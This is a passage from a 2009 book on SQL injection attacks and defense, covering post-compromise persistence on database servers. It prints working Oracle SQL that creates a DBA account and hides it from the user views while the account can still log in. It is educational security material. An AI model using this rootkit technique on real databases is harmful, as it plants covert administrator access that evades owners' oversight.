SQL Injection Attacks and Defense - 2009

Figure 6.22 Creating an UNSAFE
Binary by Making the Database “Trustworthy”
Exploiting the Operating System • Chapter 6 309
Consolidating Access
Several opportunities present themselves to the enterprising analyst once a full compromise
has been affected. In 2002, Chris Anley published his “three-byte patch” for SQL Server
which would effectively disable authentication on the system by reversing the logic of the
conditional Jump code branch. Although this certainly looks good on TV, I cannot imagine
too many customers who would happily tolerate the greater level of exposure they would
endure during the course of such testing.
One of this book’s contributing authors, Alexander Kornbrust, along with NGS Software’s
David Litchfield have published extensively on the existence and creation of database rootkits,
which effectively subvert the security of the database much like a traditional rootkit subverts
the security of an operating system. These can be made that much more effective since file
system rootkits have been known about for decades whereas database rootkits are a fairly
new concept.
The following sample code implements an Oracle rootkit by updating a row in a table:
-- the following code must run as DBA
SQL> grant dba to hidden identified by hidden_2009; -- create a user
hidden with DBA privileges
SQL> exec sys.kupp$proc.change_user('SYS'); -- become user SYS
-- change the users record in sys.user$
SQL> update sys.user$ set tempts#=666 where name='HIDDEN';
-- does not show the user HIDDEN
SQL> select username from dba_users;
-- but the connect works
SQL> connect hidden/hidden_2009
Here is a quick explanation of why this works. To display the list of users, Oracle uses
the views ALL_USERS and DBA_USERS. These views contain a join among three tables.
By setting tempts# (or datats# or type#) to a nonexistent value, you can remove the user
from the result of the join and from the view.